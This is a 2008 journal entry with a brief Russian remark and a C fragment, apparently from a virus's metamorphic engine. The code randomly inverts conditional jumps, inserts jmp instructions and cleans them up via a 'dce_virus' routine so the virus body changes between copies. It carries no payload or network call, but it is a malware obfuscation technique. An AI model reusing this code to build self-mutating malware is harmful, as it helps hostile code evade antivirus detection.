herm1t LIVE!ng room - Inverted Jcc, FIXED [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Inverted Jcc, FIXED [Apr. 1st, 2008|01:20 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Current Mood | sleepy]

Казалось бы простая, ненапряжная вещь, а из-за двух тупых ошибок потратил много времени, "чистка" от лишних jmp-ов тоже не очень нравится, но вроде работает.
ifdef	M_IJCC
	code_t *prev;
	prev = NULL;	
	for (c = sec[SI_TEXT]->code; c != NULL; c = c->list) {
		c->list = c->next;
		if (IS_JCCNEAR(c->src) && _random(M_IJCC_PROB) != 1) {
			if ((c->flags & FL_FREESRC) == 0) {
				char *temp;
				if ((temp = malloc(c->diza.len)) == NULL)
					return 1; /* FIXME */
				memcpy(temp, c->src, c->diza.len);
				c->src = temp;
				c->flags |= FL_FREESRC;
			}
			c->src[1] ^= 1;				
			code_t *t = c->link;
			c->link = c->next;
			c->next = t;

		}
		/* vexillum non est ponenda sine necessitate */
		c->flags &= ~FL_SEEN;
	}
	for (prev = NULL, c = sec[SI_TEXT]->code; c != NULL; c = c->list) {
		if ((c->flags & FL_SEEN) == 0) {
			code_t *d;
			for (d = c; d != NULL; d = d->next) {
				if (d->flags & FL_SEEN) {
					code_t *jmp = NEW(code_t);
					jmp->src = malloc(5);
					if (jmp == NULL || jmp->src == NULL)
						exit(11);	/* fatal, we broke the list... */
					jmp->flags = FL_FREESRC | (prev ? prev->flags & FL_ME : 0);
					jmp->diza.flag |= C_REL | C_STOP;
					jmp->diza.len = 5;
					jmp->src[0] = 0xe9;					
					jmp->link = d;
					d = jmp;
				}
				if (prev != NULL)
					prev->next = d;
				prev = d;
				prev->flags |= FL_SEEN;
				if (d->diza.flag & C_STOP)
					break;
			}
		}
	}
	prev->next = NULL;
	/* clean jumps */
	FOR_EACH(sec[SI_TEXT]->code, c)
		if (c->flags & FL_ME)
			c->flags &= ~FL_SEEN;
	void dce_virus(code_t *code) {
		code_t *c;
		FOR_EACH(code, c) {
		next:	if (c->flags & FL_SEEN)
				return;
			c->flags |= FL_SEEN;
			if ((c->diza.flag & C_REL) && (c->flags & FL_EXTERN) == 0) {
				if (*c->link->src == 0xe9)
					c->link = c->link->link;
				if (c->diza.flag & C_STOP) {
					if (c->next == c->link)
						c->flags &= ~FL_SEEN;
					c = c->link;
					goto next;
				} else
					dce_virus(c->link);
			}
		}
	}
	dce_virus(ventry);
	freec(sec[SI_TEXT]->code, FL_SEEN);
#endif
LinkLeave a comment